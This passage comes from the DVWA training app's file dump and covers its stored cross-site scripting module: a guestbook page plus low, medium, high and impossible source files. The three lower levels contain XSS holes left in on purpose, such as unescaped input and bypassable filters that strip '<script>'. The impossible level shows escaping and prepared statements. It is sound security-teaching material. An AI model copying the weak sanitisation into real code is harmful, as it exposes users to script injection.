class=\"spoiler\">HTML events</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>Using inbuilt PHP functions (such as \"<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.htmlspecialchars.php', 'htmlspecialchars()' ); ?>\"),\r\n\t\t\tits possible to escape any values which would alter the behaviour of the input.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/xss_s/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Stored Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'xss_s';\r\n$page[ 'help_button' ]   = 'xss_s';\r\n$page[ 'source_button' ] = 'xss_s';\r\n\r\ndvwaDatabaseConnect();\r\n\r\nif (array_key_exists (\"btnClear\", $_POST)) {\r\n\t$query  = \"TRUNCATE guestbook;\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n}\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/xss_s/source/{$vulnerabilityFile}\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<form method=\\\"post\\\" name=\\\"guestform\\\" \\\">\r\n\t\t\t<table width=\\\"550\\\" border=\\\"0\\\" cellpadding=\\\"2\\\" cellspacing=\\\"1\\\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td width=\\\"100\\\">Name *</td>\r\n\t\t\t\t\t<td><input name=\\\"txtName\\\" type=\\\"text\\\" size=\\\"30\\\" maxlength=\\\"10\\\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td width=\\\"100\\\">Message *</td>\r\n\t\t\t\t\t<td><textarea name=\\\"mtxMessage\\\" cols=\\\"50\\\" rows=\\\"3\\\" maxlength=\\\"50\\\"></textarea></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td width=\\\"100\\\">&nbsp;</td>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input name=\\\"btnSign\\\" type=\\\"submit\\\" value=\\\"Sign Guestbook\\\" onclick=\\\"return validateGuestbookForm(this.form);\\\" />\r\n\t\t\t\t\t\t<input name=\\\"btnClear\\\" type=\\\"submit\\\" value=\\\"Clear Guestbook\\\" onClick=\\\"return confirmClearGuestbook();\\\" />\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\\n\";\r\n\r\nif( $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\t<br />\r\n\r\n\t\" . dvwaGuestbook() . \"\r\n\t<br />\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/xss-filter-evasion-cheatsheet' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/xss-faq.html' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.scriptalert1.com/' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_s/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'btnSign' ] ) ) {\r\n\t// Get input\r\n\t$message = trim( $_POST[ 'mtxMessage' ] );\r\n\t$name    = trim( $_POST[ 'txtName' ] );\r\n\r\n\t// Sanitize message input\r\n\t$message = strip_tags( addslashes( $message ) );\r\n\t$message = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $message ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$message = htmlspecialchars( $message );\r\n\r\n\t// Sanitize name input\r\n\t$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );\r\n\t$name = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $name ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Update database\r\n\t$query  = \"INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t//mysql_close();\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_s/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'btnSign' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Get input\r\n\t$message = trim( $_POST[ 'mtxMessage' ] );\r\n\t$name    = trim( $_POST[ 'txtName' ] );\r\n\r\n\t// Sanitize message input\r\n\t$message = stripslashes( $message );\r\n\t$message = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $message ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$message = htmlspecialchars( $message );\r\n\r\n\t// Sanitize name input\r\n\t$name = stripslashes( $name );\r\n\t$name = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $name ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$name = htmlspecialchars( $name );\r\n\r\n\t// Update database\r\n\t$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );\r\n\t$data->bindParam( ':message', $message, PDO::PARAM_STR );\r\n\t$data->bindParam( ':name', $name, PDO::PARAM_STR );\r\n\t$data->execute();\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_s/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'btnSign' ] ) ) {\r\n\t// Get input\r\n\t$message = trim( $_POST[ 'mtxMessage' ] );\r\n\t$name    = trim( $_POST[ 'txtName' ] );\r\n\r\n\t// Sanitize message input\r\n\t$message = stripslashes( $message );\r\n\t$message = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $message ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Sanitize name input\r\n\t$name = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $name ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Update database\r\n\t$query  = \"INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t//mysql_close();\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_s/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'btnSign' ] ) ) {\r\n\t// Get input\r\n\t$message = trim( $_POST[ 'mtxMessage' ] );\r\n\t$name    = trim( $_POST[ 'txtName' ] );\r\n\r\n\t// Sanitize message input\r\n\t$message = strip_tags( addslashes( $message ) );\r\n\t$message = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $message ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$message = htmlspecialchars( $message );\r\n\r\n\t// Sanitize name input\r\n\t$name = str_replace( '<script>', '', $name );\r\n\t$name = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $name ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t// Update database\r\n\t$query  = \"INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );\";\r\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t//mysql_close();\r\n}\r\n\r\n?>\r\n"
  }
]